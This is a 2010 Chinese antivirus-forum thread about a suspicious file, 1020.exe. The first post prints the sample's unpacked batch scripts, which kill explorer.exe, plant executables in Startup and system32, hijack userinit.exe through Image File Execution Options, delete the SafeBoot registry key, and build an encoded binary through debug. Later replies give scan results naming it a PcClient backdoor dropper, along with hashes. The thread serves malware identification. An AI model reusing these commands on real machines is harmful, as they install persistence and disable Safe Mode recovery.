也许不是病毒

显示全部楼层 · 发表于 2010-1-8 01:17:27

本帖最后由 username 于 2010-1-8 01:19 编辑

1020.exe
｜%temp%~C.bat

@shift
taskkill /f /im explorer.exe
copy %MYFILES%\conim.exe c:\docume~1\%USERNAME%\「开始」菜单\程序\启动\
copy %MYFILES%\userinit.exe c:\windows\system32\
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution 　　Options\userinit.exe" /f
reg delete HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot /f

复制代码

｜%myfiles%userinit.exe

＝1020.exe

复制代码

｜%myfiles%conim.exe
　　｜bt0421.bat

@echo off
if not exist C:\WINDOWS\rav.txt goto haha
if exist C:\WINDOWS\ravs.txt goto shanchu
exit
:shanchu
del /f/q "C:\WINDOWS\svcho.exe"
echo @echo off>conim.bat
echo taskkill /f /im conim.exe>>conim.bat
echo del /f/q "C:\WINDOWS\conim.exe">>conim.bat
echo del /f/q conim.bat>>conim.bat
echo exit>>conim.bat
conim.bat
exit
:haha
echo system>"C:\WINDOWS\rav.txt"
echo q | debug>nul
echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=>sleep.com
echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU WwX0GwUY Wv;ovBX2Gv0ExGIuht6>>sleep.com
echo T}{z~~@GwkBG@OEKcUt`~}@MqqBsy?seHB~_Phxr?@zAB`LrPEyoDt@Cj?>>sleep.com
echo pky_jN@QEKpEt@ij?jySjN@REKpEt@jj?jyGjN@SEKkjtlGuNw?p@pjirz>>sleep.com
echo LFvAURQ?OYLTQ@@?~QCoOL~RDU@?aU?@{QOq?@}IKuNWpe~FpeQFwH?Vkk>>sleep.com
echo _GSqoCvH{OjeOSeIQRmA@KnEFB?p??mcjNne~B?M??QhetLBgBPHexh@e=>>sleep.com
echo EsOgwTLbLK?sFU`?LDOD@@K@xO?SUudA?_FKJ@N?KD@?UA??O}HCQOQ??R>>sleep.com
echo _OQOL?CLA?CEU?_FU?UAQ?UBD?LOC?ORO?UOL?UOD?OOI?UgL?LOR@YUO?>>sleep.com
echo dsmSQswDOR[BQAQ?LUA?_L_oUNUScLOOuLOODUO?UOE@OwH?UOQ?DJTSDM>>sleep.com
echo QTqrK@kcmSULkPcLOOuLOOFUO?hwDTqOsTdbnTQrrDsdFTlnBTm`lThKcT>>sleep.com
echo @dmTkRQSoddTT~?K?OCOQp?o??Gds?wOw?PGAtaCHQvNntQv_w?A?it\EH>>sleep.com
echo {zpQpKGk?Jbs?FqokOH{T?jPvP@IQBDFAN?OHROL?Kj??pd~aN?OHROd?G>>sleep.com
echo Q??PGT~B??OC~?ipO?T?~U?p~cUo0x>>sleep.com
sleep.com>C:\WINDOWS\csrs.exe
del sleep.com
csrs.exe 200000
taskkill /f /im csrs.exe
del /f/q "C:\WINDOWS\csrs.exe"
svcho.exe
echo @echo off>conim.bat
echo taskkill /f /im conim.exe>>conim.bat
echo taskkill /f /im svcho.exe>>conim.bat
echo del /f/q "C:\WINDOWS\conim.exe">>conim.bat
echo del /f/q "C:\WINDOWS\svcho.exe">>conim.bat
echo del /f/q conim.bat>>conim.bat
echo exit>>conim.bat
conim.bat
exit

复制代码

显示全部楼层 · 发表于 2010-1-8 08:24:45

本帖最后由 fatezero 于 2010-1-8 16:31 编辑

to kl

http://camas.comodo.com/cgi-bin/ ... ba3d7ab949b3e1acc94

红伞

The file '1020.exe' has been determined to be 'MALWARE'.
Our analysts named the threat DR/Delphi.Gen.The term "DR/" denotes a program that is able to place a virus or a malware discretely on a system.This file is detected by a special detection routine from the engine module.

显示全部楼层 · 发表于 2010-1-8 10:13:58

这还也许不是病毒？这个绝对是病毒

显示全部楼层 · 发表于 2010-1-8 10:51:31

可能真不是病毒噶

显示全部楼层 · 发表于 2010-1-8 13:52:19

ESET 右键扫描无反应
运行被隔离！！！

显示全部楼层 · 发表于 2010-1-8 14:21:52

访问网络

显示全部楼层 · 发表于 2010-1-8 14:23:43

反病毒引擎版本最后更新扫描结果
a-squared 4.5.0.48 2010.01.07 -
AhnLab-V3 5.0.0.2 2010.01.07 -
AntiVir 7.9.1.130 2010.01.07 DR/Delphi.Gen
Antiy-AVL 2.0.3.7 2010.01.06 Backdoor/Win32.PcClient.gen
Authentium 5.2.0.5 2010.01.07 -
Avast 4.8.1351.0 2010.01.07 -
AVG 8.5.0.430 2010.01.04 -
BitDefender 7.2 2010.01.07 -
CAT-QuickHeal 10.00 2010.01.07 -
ClamAV 0.94.1 2010.01.07 Trojan.PcClient-4244
Comodo 3502 2010.01.07 -
DrWeb 5.0.1.12222 2010.01.07 -
eSafe 7.0.17.0 2010.01.07 -
eTrust-Vet 35.2.7221 2010.01.07 -
F-Prot 4.5.1.85 2010.01.07 -
F-Secure 9.0.15370.0 2010.01.07 -
Fortinet 4.0.14.0 2010.01.07 -
GData 19 2010.01.07 -
Ikarus T3.1.1.80.0 2010.01.07 Backdoor.Win32.PcClient
Jiangmin 13.0.900 2010.01.07 Backdoor/PcClient.pnw
K7AntiVirus 7.10.940 2010.01.06 -
Kaspersky 7.0.0.125 2010.01.07 -
McAfee 5853 2010.01.06 -
McAfee+Artemis 5853 2010.01.06 -
McAfee-GW-Edition 6.8.5 2010.01.07 Heuristic.BehavesLike.Win32.Dropper.H
Microsoft 1.5302 2010.01.07 Backdoor:Win32/PcClient.BR
NOD32 4751 2010.01.07 -
Norman 6.04.03 2010.01.07 -
nProtect 2009.1.8.0 2010.01.07 -
Panda 10.0.2.2 2010.01.07 Generic Trojan
PCTools 7.0.3.5 2010.01.07 -
Prevx 3.0 2010.01.07 -
Rising 22.29.03.04 2010.01.07 -
Sophos 4.49.0 2010.01.07 Mal/Generic-E
Sunbelt 3.2.1858.2 2010.01.07 -
Symantec 20091.2.0.41 2010.01.07 -
TheHacker 6.5.0.3.138 2010.01.07 -
TrendMicro 9.120.0.1004 2010.01.07 -
VBA32 3.12.12.1 2010.01.06 Backdoor.Win32.PcClient.akmt
ViRobot 2010.1.7.2126 2010.01.07 -
VirusBuster 5.0.21.0 2010.01.07 -

附加信息
File size: 114655 bytes
MD5   : ec69b750276e5b3e85bae1d43b354d90
SHA1  : a219017a477cf5ce3e9704b64a3c0160cd7df75d
SHA256: f069d3d31e89fcd2e215d81e3fa3b241542c3300a44c94bd42892b1eb4a6d7e7
TrID  : File type identification<BR>RAR Archive (83.3%)<BR>REALbasic Project (16.6%)
ssdeep: 1536:pzd/7QyEBrsQsdGTZQwzprWItLoZlWe4FGgig+NevUk96RdAiH6sufsnNfIGuzAC:pRzQvNsdGywzlWH3oFhQH7DDn0KoGOkU
PEiD  : -
packers (Kaspersky): DoomPack
RDS   : NSRL Reference Data Set<BR>-

显示全部楼层 · 发表于 2010-1-8 18:12:08

微点

显示全部楼层 · 发表于 2010-1-8 19:07:33

[可疑文件] 也许不是病毒

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源